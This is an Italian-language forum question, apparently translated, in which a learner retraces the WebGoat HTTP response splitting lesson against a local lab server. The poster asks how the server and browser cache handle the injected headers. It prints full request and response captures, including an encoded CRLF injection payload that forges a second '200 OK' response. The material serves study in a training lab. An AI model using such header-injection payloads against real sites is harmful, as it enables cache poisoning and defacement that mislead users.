Sto cercando di comprendere la divisione di risposta HTTP. Sebbene utilizzassi WebGoat ecc. Sono stato in grado di imparare come farlo in pratica, ma credo di essere ancora confuso con alcune fondamentali conoscenze su come funziona davvero. Sperare che qualcuno possa aiutarmi a superare la mia confusione.
Quindi da quanto ho capito su HTTP Response Splitting è
Diciamo che c'è un'applicazione vulnerabile che prende l'input dell'utente e fa un reindirizzamento basato sull'input dell'utente.
Esempio: (preso da WebGoat)
Richiesta 1:
POST /WebGoat/lessons/General/redirect.jsp?Screen=2&menu=100 HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=abcd
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
language=abcd&SUBMIT=Search%21
Come risposta a questa richiesta, l'applicazione esegue un reindirizzamento 302 e la risposta seguente viene inviata al browser:
Risposta 1:
HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=abcd
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 0
Date: Tue, 03 Nov 2015 17:16:37 GMT
Ora, quando il browser riceve questa risposta, sapendo che si tratta di un reindirizzamento 302, il browser inoltra un'altra richiesta al server sul percorso specificato dall'intestazione "Posizione" nella risposta sopra. Quindi la prossima richiesta è come:
Richiesta 2:
GET /WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=abcd HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=null
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive
Ora, quando il server riceve questa richiesta, cerca la risorsa specificata e gestisce la richiesta di conseguenza e serve la rispettiva risposta, resa dal browser.
Ora prendiamo in considerazione lo stesso scenario precedente e questa volta con un payload di risposta HTTP Splitting: Quindi adesso:
Richiesta di attacco 1:
POST /WebGoat/lessons/General/redirect.jsp?Screen=2&menu=100 HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&Restart=2
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 249
language=abcd%250AContent-Length%253A%25200%250A%250AHTTP%252F1.1%2520200%2520OK%250AContent-Type%253A%2520text%252Fhtml%250AContent-Length%253A%252035%250A%250A%253Chtml%253ESorry%252C%252520System%252520Down%253C%252Fhtml%253E&SUBMIT=Search%21
E la risposta ricevuta per questo è:
Risposta di attacco 1:
HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=advanced%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2035%0A%0A%3Chtml%3ESorry%2C%2520System%2520Down%3C%2Fhtml%3E
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 0
Date: Tue, 03 Nov 2015 17:24:00 GMT
E ora
Richiesta di attacco 2: sarebbe
GET /WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=advanced%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2035%0A%0A%3Chtml%3ESorry%2C%2520System%2520Down%3C%2Fhtml%3E HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&Restart=2
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive
Quindi ora il server riceve effettivamente una richiesta di risorsa in:
/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=advanced%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2035%0A%0A%3Chtml%3ESorry%2C%2520System%2520Down%3C%2Fhtml%3E
sul server. Questa risorsa in realtà non esiste sul server. Anche questa risorsa ha intestazioni di risposta come parte della risorsa richiesta.
Quindi ora la mia confusione è come gestisce il server? Cosa fa realmente il server con le intestazioni di risposta che arrivano nella richiesta? E in particolare, in che modo questo porta a un attacco di divisione della risposta?
La mia direzione di pensiero è che quando parliamo di Attack Response 1 , allora il browser vede che la richiesta ha 2 risposte. Quindi il browser prende la prima parte della risposta per la prima richiesta fatta e memorizza nella cache la seconda parte della risposta per la successiva richiesta che verrebbe fatta. Nel nostro caso la richiesta successiva è Richiesta di attacco 2 . Quindi, quando viene effettuata questa richiesta, il browser serve semplicemente la risposta già memorizzata nella cache (la seconda parte della risposta precedente) per Richiesta di attacco 2 . Ed è così che ha funzionato HTTP Response Splitting. Quindi qui stiamo fondamentalmente giocando con la cache del browser (contrariamente ad alcuni articoli che ho letto che menzionano che la divisione della risposta HTTP riguarda la cache del server)
Sono corretto nella mia comprensione di quanto sopra? Potrebbe essere mi manca qualcosa di molto semplice. Per favore, sopportami con questo.